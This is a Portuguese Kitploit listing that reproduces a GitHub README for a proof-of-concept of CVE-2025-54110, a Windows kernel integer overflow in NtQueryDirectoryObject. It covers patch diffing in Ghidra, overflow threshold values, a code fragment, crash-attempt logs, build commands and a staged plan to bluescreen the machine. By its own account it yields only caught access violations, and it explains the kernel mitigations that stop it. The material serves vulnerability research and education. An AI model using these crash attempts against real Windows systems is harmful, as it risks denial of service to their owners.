Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-54110-Kernel-EoP-PoC — Data do Projeto: Out 2025 / Implementação de PoC para CVE-2025-54110, uma Vulnerabilidade de Estouro de Inteiro em Nível de Kernel na chamada de sistema `NtQueryDirectoryObject` do Windows. | Kitploit
Ferramentas/GitHubGitHub/canomer/cve-2025-54110-kernel-eop-poc
Análise de VulnerabilidadesExploraçãoEngenharia ReversaPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcanomer/cve-2025-54110-kernel-eop-poc

CVE-2025-54110-Kernel-EoP-PoC

Data do Projeto: Out 2025 / Implementação de PoC para CVE-2025-54110, uma Vulnerabilidade de Estouro de Inteiro em Nível de Kernel na chamada de sistema `NtQueryDirectoryObject` do Windows.

Ver Repositório
1113há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-54110-Kernel-EoP-PoC

Implementação de PoC para CVE-2025-54110, uma vulnerabilidade de estouro de inteiro no nível do kernel na chamada de sistema NtQueryDirectoryObject do Windows.

CVE-2025-54110 - Análise de Estouro de Inteiro no Kernel do Windows

CVE: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110

Este repositório contém um PoC apenas para Crash da vulnerabilidade CVE-2025-54110 de EoP no Kernel, desenvolvido exclusivamente para pesquisa em segurança, engenharia reversa e pesquisa de desenvolvimento de exploits. Este código tem a intenção de demonstrar técnicas de pesquisa de vulnerabilidades, incluindo:

  • Diffing binário com Version Tracking do Ghidra
  • Análise do Patch Tuesday da Microsoft
  • Metodologias de pesquisa de vulnerabilidades no kernel
  • Análise de comportamento de Tratamento Estruturado de Exceções (SEH)

Este PoC NÃO alcança elevação de privilégio nem BSOD confiável. Ele é projetado para disparar com segurança violações de acesso que são capturadas pelas proteções do kernel do Windows.


Visão Geral

CVE-2025-54110: Vulnerabilidade de EoP no Kernel do Windows

Data de Publicação: Setembro de 2025 (Patch de Segurança de Terça-feira da Microsoft)

PropriedadeValor
CWECWE-190: Estouro de Inteiro ou Wrap-around
Pontuação CVSS 3.18.8 (Alta) / 7.7 (Temporal)
String do VetorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Vetor de AtaqueLocal
Complexidade do AtaqueBaixa
Privilégios NecessáriosBaixos
Interação do UsuárioNenhuma
EscopoAlterado
ConfidencialidadeAlta
IntegridadeAlta
DisponibilidadeAlta
Maturidade do ExploitNão Comprovada

Resumo Executivo

Uma vulnerabilidade de estouro de inteiro no Kernel do Windows permite que um atacante autenticado potencialmente eleve privilégios localmente. De acordo com o aviso da Microsoft:

"Um atacante poderia explorar esta vulnerabilidade enviando entrada especialmente criada a partir de um processo em modo de usuário em área restrita (sandbox) para disparar um estouro de inteiro, resultando em um estouro de buffer no kernel e permitindo a elevação de privilégio ou fuga da sandbox."

Impacto Potencial

  • Privilégios de SYSTEM poderiam ser obtidos por um atacante bem-sucedido
  • Fuga da sandbox a partir de processos restritos em modo de usuário
  • Corrupção de memória do kernel levando à execução de código

Avaliação de Explorabilidade

  • Divulgado Publicamente: Não
  • Explorado na Prática: Não
  • Avaliação da Microsoft: Exploração Mais Provável

Metodologia de Pesquisa

1. Fluxo de Trabalho de Análise de Patch```

Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison

root@kitploit:~
### 2. Arquivos Analisados

A análise inicial concentrou-se em dois principais componentes do kernel:

#### win32k.sys (-)
- **Resultado:** Nenhuma alteração significativa detectada
- **Faixa de Pontuação:** 0.97-1.0 (alta similaridade)
- **Conclusão:** Não é o componente vulnerável para o CVE-2025-54110

#### ntoskrnl.exe (+)
- **Resultado:** Múltiplas funções com alterações significativas
- **Faixa de Pontuação:** Funções com pontuações ≤0.951
- **Diferenças de Tamanho:** Variações de comprimento de bytes entre Origem e Destino detectadas
- **Total de Itens Exportados:** 2.036 funções para análise

### 3. Resultados do Rastreamento de Versão do Ghidra

Amostra das alterações identificadas em `ntoskrnl.exe`:

| Pontuação | Confiança | Tamanho Origem | Tamanho Destino | Função Origem | Função Destino |
|-------|------------|---------------|-------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |

---

## Declaração do PoC

### Abordagem Técnica

O PoC (`precise_overflow_bsod.c`) tenta desencadear a vulnerabilidade de estouro de inteiro através de:

1. **Cálculo Preciso do Limiar:** `0xfffffdbc` (derivado de base=0x20, nome=0x200)
2. **API NtQueryDirectoryObject:** Função alvo para desencadear o estouro
3. **Estratégia de Ataque em Múltiplas Fases:**
   - Fase 1: Tentativas de estouro de inteiro de precisão
   - Fase 2: Mira na memória do kernel
   - Fase 3: Exploração multi-thread

### Estrutura do Código```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
    0xfffffdbc,  // Precise threshold - base=0x20, name=0x200
    0xfffffdbb,  // Threshold - 1
    0xfffffdbd,  // Threshold + 1
    0xfffffdba,  // Threshold - 2  
    0xfffffdbe,  // Threshold + 2
};

// Buffer configurations to test edge cases
PVOID buffer_types[] = {
    VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE),  // Normal buffer
    VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE),    // Small buffer
    NULL,                                                    // NULL pointer
    (PVOID)0x4141414141414141,                              // Invalid pointer
    (PVOID)0x0000000000000000,                              // Zero address
};

Vetores de Exploração Testados```

NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state

root@kitploit:~
## Por que o PoC Não Trava o Sistema

### Resultados Reais

O PoC retorna consistentemente `STATUS_ACCESS_VIOLATION (0xC0000005)` sem causar uma Tela Azul da Morte (BSOD). Isso é **por design** e demonstra vários mecanismos críticos de segurança do kernel do Windows:

### 1. Tratamento Estruturado de Exceções (SEH)```
User-Mode Input → NtQueryDirectoryObject
                        ↓
                  ProbeForRead/Write
                        ↓
                  __try { ... }
                        ↓
              Access Violation Detected
                        ↓
                  __except { ... }
                        ↓
            Return STATUS_ACCESS_VIOLATION

Por que funciona:

  • Chamadas de sistema do kernel do Windows encapsulam acessos a ponteiros do modo de usuário em manipuladores de exceção
  • Acessos inválidos à memória são capturados em vez de permitidos que se propaguem
  • O sistema retorna um código de erro ao chamador em vez de travar

2. SMAP (Prevenção de Acesso ao Modo Supervisor)

Recurso moderno da CPU que impede que o modo kernel (Ring 0) acesse a memória do modo de usuário (Ring 3) sem autorização explícita:``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler

root@kitploit:~
**Impacto no PoC:**
- Mesmo que ocorra estouro, o acesso direto à memória do kernel para o usuário é bloqueado
- Impede a exploração de vulnerabilidades de desreferência de ponteiro

### 3. KASLR (Kernel Address Space Layout Randomization)```
Boot Time: Kernel Base = Random Address
                ↓
Hardcoded PoC address (0xfffffdbc)
                ↓
        Does NOT match actual kernel structures
                ↓
    Write to non-critical memory OR caught by SEH

Por que o BSOD não ocorre:

  • PoC usa endereços/limiares estáticos
  • Estruturas reais do kernel estão em locais aleatorizados
  • Escritas perdem alvos críticos (ex.: EPROCESS, Pool Headers)

4. Verificações de Integridade do Pool do Kernel

Windows 10+ implementa detecção aprimorada de corrupção do pool:``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally

root@kitploit:~
## Análise da Saída da Execução do PoC

### Saída Esperada

Veja o `STATUS_ACCESS_VIOLATION (0xC0000005)`, então está ok.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
    CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y

[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...

[-] Exploit finished. If the system is still running, the attack may have been mitigated.

C:\Users\reLab\Desktop\cve>
image

Experiência Verbossed```

C:\Users\reLab\Desktop\cve>.\poc64_verbose11.exe

CVE-2025-54110 PRECISION INTEGER OVERFLOW BSOD EXPLOIT Threshold: 0xfffffdbc (base=0x20, name=0x200) !!! WARNING: HIGH PROBABILITY OF SYSTEM CRASH !!!

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444

[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc

[+] Exploiting all directories with precise threshold...

[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...

root@kitploit:~
### Comportamento Observado```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005

Status Code: 0xC0000005 = STATUS_ACCESS_VIOLATION

O Que Isso Significa

AspectoInterpretação
Confirmação de Vulnerabilidade(+) O caminho do código atinge a função vulnerável
Validação de Entrada(!) Entrada elaborada desencadeia comportamento anormal
Estabilidade do Sistema(+) SEH impede travamento; sistema permanece estável
Conquista de DoS(-) Sem BSOD; tratamento de exceção bem-sucedido
Conquista de EoP(-) Sem escalada de privilégios; falha controlada

Critérios de Sucesso por Objetivo```

┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Valor Educacional

### O que esta PoC Demonstra

#### Resultados

1. **Metodologia de Patch Diffing**
   - Comparação de binários pré/pós-patch usando Ghidra
   - Identificação de funções modificadas através de rastreamento de versões
   - Análise de métricas de similaridade baseadas em pontuação

2. **Arquitetura do Kernel do Windows**
   - Compreensão do fluxo de syscall (`NtQueryDirectoryObject`)
   - Reconhecimento dos limites entre modo kernel e modo usuário
   - Aprendizado sobre funções internas da NTAPI

3. **Comportamento dos Mecanismos de Segurança**
   - SEH em ação: exceção capturada vs. travamento do sistema
   - SMAP impedindo acesso não autorizado à memória
   - KASLR derrotando exploração de endereços estáticos

4. **Processo de Pesquisa de Vulnerabilidades**
   - Análise de CVE e coleta de informações
   - Engenharia reversa de mudanças em binários
   - Testes de hipóteses através de tentativas controladas de exploração

#### Limitações

1. **Proteções Modernas do Kernel são Eficazes**
   - Tentativas simples de estouro são insuficientes
   - Múltiplas camadas de defesa precisam ser contornadas
   - Análise estática por si só não pode prever exploração

2. **Lacuna entre Teoria e Prática**
   - Estouro de inteiros existe (teórico)
   - Exploração prática requer:
     - Divulgação de informações (vazar endereços do kernel)
     - Heap shaping/Feng Shui
     - Cadeias ROP ou outras primitivas de execução de código
     - Contornar DEP, CFG, HVCI, etc.

---

## Funções Prioritárias para Análise

Com base nas características da CVE-2025-54110 (Estouro de Inteiros → Estouro de Buffer no Kernel), priorize a revisão das funções no CSV exportado que manipulam:

### Categorias de Alta Prioridade```yaml
Integer/Size Calculations:
  - Functions with arithmetic operations on buffer sizes
  - Length calculation before allocation
  - Checked vs. unchecked math operations
  
Buffer/Memory Operations:
  - memcpy, memmove, RtlCopyMemory variants
  - ExAllocatePool* family
  - Buffer size validation routines
  
Object Directory Handling:
  - NtQueryDirectoryObject and related helpers
  - ObpLookupDirectoryEntry
  - Object enumeration functions
  
User-Mode Interface:
  - ProbeForRead/Write wrappers
  - Input validation functions
  - IOCTL handlers

Estratégia de Filtragem para 2,036 Funções

Passo 1: Filtro Baseado em Pontuação``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)

root@kitploit:~
**Passo 2: Pesquisa por Palavras-Chave**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"

Passo 3: Análise de Referências Cruzadas``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]

root@kitploit:~
**Passo 4: Alterar Magnitude**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)

Construção e Execução

Pré-requisitos```

  • Windows 10/11 (x64)
  • Visual Studio 2019+ or MinGW-w64
  • Administrator privileges (for syscall access)
root@kitploit:~
### Compilação```bash
# on x64 Native Tools CLI for VS 20xx

# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib

# or
cl poc.c /link /SUBSYSTEM:CONSOLE

[No content provided in the INPUT section.]```bash

Using MinGW

gcc precise_overflow_bsod.c -o poc64.exe -lntdll

root@kitploit:~
### Execução```powershell
# Run with admin privileges
.\poc64.exe

Saída Esperada:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.

root@kitploit:~
---

## Recursos e Referências

### Fontes Oficiais

- [Aviso de Segurança da Microsoft - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190: Estouro ou Empacotamento de Inteiro](https://cwe.mitre.org/data/definitions/190.html)
- [Internos do Kernel do Windows - Microsoft Docs](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)

### Ferramentas de Pesquisa

- [Ghidra - Suite de Engenharia Reversa da NSA](https://ghidra-sre.org/)
- [WinDbg - Ferramentas de Depuração do Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)

### Leitura Relacionada

- [Desenvolvimento de Exploits de Kernel](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Exploração de Kernel do Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Comparação de Patches com Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)

---

## Aviso Legal

Este código é fornecido APENAS PARA FINS EDUCACIONAIS.

NÃO utilize este código para:

• Acesso não autorizado a sistemas de computador

• Ataques maliciosos ou danos

• Quaisquer atividades ilegais


O autor NÃO assume responsabilidade por uso indevido.
Os usuários devem cumprir todas as leis aplicáveis.

**Ao usar este código, você reconhece:**

1. Você tem autorização para testar nos sistemas alvo
2. Você entende as implicações legais na sua jurisdição
3. Você aceita total responsabilidade por suas ações
4. Isto é para aprendizado, não para atividades maliciosas

---

## Aviso Legal
Este repositório é fornecido estritamente para fins educacionais, pesquisa de segurança defensiva e reprodução de vulnerabilidades em ambientes de laboratório controlados.
As informações e o código de prova de conceito destinam-se a ajudar defensores, pesquisadores e fornecedores a entender e remediar a vulnerabilidade reportada.
O uso não autorizado ou malicioso deste código contra sistemas sem permissão explícita pode violar leis e regulamentos aplicáveis.
O autor não incentiva ou condona atividades ilegais e não assume responsabilidade por uso indevido ou danos causados por este material.

Este relatório de divulgação de vulnerabilidade é fornecido para:
1. Pesquisa e educação em segurança
2. Notificação ao fornecedor e desenvolvimento de patches
3. Proteção dos usuários finais
4. Fins acadêmicos e de segurança defensiva

**Usos Proibidos:**
- Acesso não autorizado a sistemas de computador
- Exploração maliciosa
- Qualquer atividade ilegal

O pesquisador realizou todos os testes em sistemas de sua propriedade, em ambientes controlados. Nenhum acesso não autorizado a sistemas de terceiros foi realizado.

**Versão do Relatório:** 1.0  
**Última Atualização:** 9 de fevereiro de 2026  

---

## Contato

Para consultas legítimas de pesquisa em segurança ou colaboração educacional:

**Divulgação Responsável:**
- Problemas de segurança com este PoC → Abra uma Issue no GitHub
- Exploração real do CVE-2025-54110 → Reporte ao [MSRC](https://msrc.microsoft.com/)

---

## Licença```
MIT License - See LICENSE file for details

Educational software provided "as is" without warranty.
Use at your own risk.
Baixar ferramenta